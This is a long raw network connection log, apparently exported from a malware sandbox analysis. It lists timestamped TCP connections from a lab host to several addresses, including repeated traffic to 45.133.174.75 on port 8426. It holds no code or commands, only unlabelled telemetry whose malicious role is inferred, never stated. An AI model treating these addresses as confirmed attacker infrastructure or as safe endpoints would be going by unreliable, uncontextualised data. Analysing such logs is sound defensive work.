                                                                                                                                                                                      May 10, 2024 21:31:50.007452011 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.007468939 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.007476091 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.007505894 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.008392096 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.008420944 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.008431911 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.008439064 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.008470058 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.009021044 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.009074926 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.009082079 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.009129047 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.009896040 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.009928942 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.009953022 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.009962082 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.009974003 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.010004997 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.111745119 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.111812115 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.112133026 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.112164974 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.112188101 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.112202883 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.112219095 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.112935066 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.112977982 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.112989902 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.113029957 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114022017 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114056110 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114090919 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114105940 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114130020 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114142895 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114820957 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114852905 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114876032 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114886045 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.114907026 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.114921093 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.115727901 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.115780115 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.115807056 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.115817070 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.115840912 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.116547108 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.116578102 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.116602898 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.116611958 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.116638899 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.117556095 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.117588043 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.117614031 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.117623091 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.117654085 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.118642092 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.118705988 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.118719101 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.118763924 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.119452000 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.119524956 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.119900942 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.119935989 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.119962931 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.119972944 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.119986057 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.120039940 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.121342897 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.121380091 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.121406078 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.121417046 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.121438980 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.121459961 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.122164965 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.122193098 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.122216940 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.122225046 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.122255087 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.122267008 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.123527050 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.123569965 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.123606920 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.123606920 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.123648882 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.123995066 CEST49767443192.168.2.4172.66.47.26
                                                                                                                                                                                      May 10, 2024 21:31:50.124011040 CEST44349767172.66.47.26192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.242963076 CEST44349768104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.243055105 CEST44349768104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.243146896 CEST49768443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.301477909 CEST49768443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.301496029 CEST44349768104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.303055048 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.303105116 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.303184032 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.303473949 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.303488970 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.398741961 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.399281979 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.399306059 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.400443077 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.400521994 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.402339935 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.402406931 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.403222084 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.403230906 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.445067883 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.531543970 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.532051086 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.532103062 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.532423973 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.532824039 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.532886028 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.533143044 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.580116034 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.803234100 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.803322077 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.803371906 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.855335951 CEST49769443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.855365038 CEST44349769149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.857434988 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.857465029 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.857527018 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.857966900 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:50.857980013 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.963423967 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.963543892 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:50.963596106 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.964618921 CEST49770443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:50.964641094 CEST44349770104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:51.269329071 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:51.287375927 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:51.287391901 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:51.287777901 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:51.288531065 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:51.288590908 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:51.289052010 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:51.336118937 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:52.782385111 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:52.782422066 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:52.782489061 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:52.794806957 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:52.794825077 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.024878025 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.024956942 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.091948032 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.091984034 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.092293024 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.092348099 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.097243071 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.144119024 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.402956009 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.403027058 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.403055906 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.403074980 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.403122902 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.406332016 CEST49772443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:53.406347990 CEST44349772104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.489219904 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.489319086 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.489373922 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.495054960 CEST49771443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.495068073 CEST44349771149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.565749884 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.565771103 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.565840006 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.583235025 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.583245993 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.994853020 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.994931936 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.996884108 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.996896029 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.997154951 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.998756886 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.998773098 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:53.998826027 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.475450039 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.475545883 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.475596905 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:54.477441072 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:54.477453947 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.477466106 CEST49773443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:54.477471113 CEST44349773149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.595402002 CEST4977480192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.705199003 CEST8049774172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.705276966 CEST4977480192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.705554962 CEST4977480192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.815009117 CEST8049774172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.834064960 CEST8049774172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.840035915 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.840075016 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.840145111 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.840461016 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:54.840471983 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.884561062 CEST4977480192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.069547892 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.069624901 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.071487904 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.071496010 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.071738005 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.072966099 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.120125055 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.783565998 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.783719063 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.783812046 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.784039021 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.784056902 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:55.784084082 CEST49775443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:55.784089088 CEST44349775172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.689440966 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.689481974 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.689559937 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.709669113 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.709690094 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.793031931 CEST4977480192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:56.939958096 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.940037966 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.946176052 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.946185112 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.946466923 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.946527004 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.948554993 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:56.996124983 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:57.562233925 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:57.562355042 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:57.562360048 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:57.562426090 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:57.564821959 CEST49776443192.168.2.4104.21.25.148
                                                                                                                                                                                      May 10, 2024 21:31:57.564846992 CEST44349776104.21.25.148192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:57.591990948 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:57.592031956 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:57.592351913 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:57.592490911 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:57.592505932 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.009346008 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.009598017 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.011020899 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.011034012 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.011317015 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.016719103 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.016751051 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.016830921 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.467216015 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.467307091 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.467391014 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.474706888 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.474726915 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.474843025 CEST49777443192.168.2.4149.154.167.220
                                                                                                                                                                                      May 10, 2024 21:31:58.474848986 CEST44349777149.154.167.220192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.479660034 CEST4977880192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.588648081 CEST8049778172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.588747025 CEST4977880192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.589097023 CEST4977880192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.701118946 CEST8049778172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.711167097 CEST8049778172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.716512918 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.716557026 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.716622114 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.717006922 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.717021942 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.757508039 CEST4977880192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.948550940 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.948630095 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.950201988 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.950211048 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.950450897 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:58.951718092 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:58.996109009 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.223537922 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.223663092 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.223865032 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:59.223926067 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:59.223943949 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.223970890 CEST49779443192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:31:59.223975897 CEST44349779172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.640861034 CEST4978080192.168.2.4208.95.112.1
                                                                                                                                                                                      May 10, 2024 21:31:59.766190052 CEST8049780208.95.112.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.766520977 CEST4978080192.168.2.4208.95.112.1
                                                                                                                                                                                      May 10, 2024 21:31:59.767064095 CEST4978080192.168.2.4208.95.112.1
                                                                                                                                                                                      May 10, 2024 21:31:59.954896927 CEST8049780208.95.112.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.955018997 CEST4978080192.168.2.4208.95.112.1
                                                                                                                                                                                      May 10, 2024 21:32:00.236483097 CEST497818426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:00.450709105 CEST84264978145.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:00.450793028 CEST497818426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:00.451493979 CEST497818426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:00.716586113 CEST84264978145.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:01.527785063 CEST84264978145.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:01.530272961 CEST497818426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:01.530896902 CEST497818426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:01.744820118 CEST84264978145.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:06.783901930 CEST497828426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:32:06.998095989 CEST84264978245.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:06.998259068 CEST497828426192.168.2.445.133.174.75
